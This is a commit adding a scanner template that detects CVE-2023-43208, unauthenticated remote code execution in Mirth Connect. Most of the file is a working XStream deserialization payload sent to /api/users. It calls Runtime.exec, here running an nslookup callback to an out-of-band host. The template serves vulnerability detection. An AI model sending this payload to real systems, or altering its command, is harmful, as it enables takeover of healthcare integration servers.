Create CVE-2023-43208.yaml

http/cves/2023/CVE-2023-43208.yaml

@@ -0,0 +1,106 @@
+id: CVE-2023-43208
+
+info:
+  name: NextGen Healthcare Mirth Connect - Remote Code Execution
+  author: princechaddha
+  severity: critical
+  description: Unauthenticated remote code execution vulnerability in NextGen Healthcare Mirth Connect before version 4.4.1.
+  impact: |
+    Successful exploitation could result in unauthorized access and potential compromise of sensitive data.
+  remediation: |
+    Apply the vendor-supplied patch or upgrade to a non-vulnerable version.
+  reference:
+    - http://packetstormsecurity.com/files/176920/Mirth-Connect-4.4.0-Remote-Command-Execution.html
+    - https://github.com/nvn1729/advisories
+  classification:
+    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2023-43208
+    epss-score: 0.00349
+    epss-percentile: 0.71422
+    cpe: cpe:2.3:a:nextgen:mirth_connect:*:*:*:*:*:*:*:*
+  metadata:
+    vendor: nextgen
+    product: mirth_connect
+    shodan-query: title:"mirth connect administrator"
+  tags: cve,cve2023,nextgen,rce
+
+http:
+  - raw:
+      - |
+        GET /api/server/version HTTP/1.1
+        Host: {{Hostname}}
+        X-Requested-With: OpenAPI
+      - |
+        POST /api/users HTTP/1.1
+        Host: {{Hostname}}
+        X-Requested-With: OpenAPI
+        Content-Type: application/xml
+
+        <sorted-set>
+          <string>abcd</string>
+          <dynamic-proxy>
+            <interface>java.lang.Comparable</interface>
+            <handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
+              <target class="org.apache.commons.collections4.functors.ChainedTransformer">
+                <iTransformers>
+                  <org.apache.commons.collections4.functors.ConstantTransformer>
+                    <iConstant class="java-class">java.lang.Runtime</iConstant>
+                  </org.apache.commons.collections4.functors.ConstantTransformer>
+                  <org.apache.commons.collections4.functors.InvokerTransformer>
+                    <iMethodName>getMethod</iMethodName>
+                    <iParamTypes>
+                      <java-class>java.lang.String</java-class>
+                      <java-class>[Ljava.lang.Class;</java-class>
+                    </iParamTypes>
+                    <iArgs>
+                      <string>getRuntime</string>
+                      <java-class-array/>
+                    </iArgs>
+                  </org.apache.commons.collections4.functors.InvokerTransformer>
+                  <org.apache.commons.collections4.functors.InvokerTransformer>
+                    <iMethodName>invoke</iMethodName>
+                    <iParamTypes>
+                      <java-class>java.lang.Object</java-class>
+                      <java-class>[Ljava.lang.Object;</java-class>
+                    </iParamTypes>
+                    <iArgs>
+                      <null/>
+                      <object-array/>
+                    </iArgs>
+                  </org.apache.commons.collections4.functors.InvokerTransformer>
+                  <org.apache.commons.collections4.functors.InvokerTransformer>
+                    <iMethodName>exec</iMethodName>
+                    <iParamTypes>
+                      <java-class>java.lang.String</java-class>
+                    </iParamTypes>
+                    <iArgs>
+                      <string>nslookup {{interactsh-url}}</string>
+                    </iArgs>
+                  </org.apache.commons.collections4.functors.InvokerTransformer>
+                </iTransformers>
+              </target>
+              <methodName>transform</methodName>
+              <eventTypes>
+                <string>compareTo</string>
+              </eventTypes>
+            </handler>
+          </dynamic-proxy>
+        </sorted-set>
+
+    matchers:
+      - type: dsl
+        dsl:
+          - 'compare_versions(version, "<4.4.1")'
+          - 'contains(interactsh_protocol, "dns")'
+          - 'status_code_1 == 200 && status_code_2 == 500'
+        condition: and
+
+    extractors:
+      - type: regex
+        part: body_1
+        name: version
+        group: 1
+        regex:
+          - '(.*)'
+        internal: true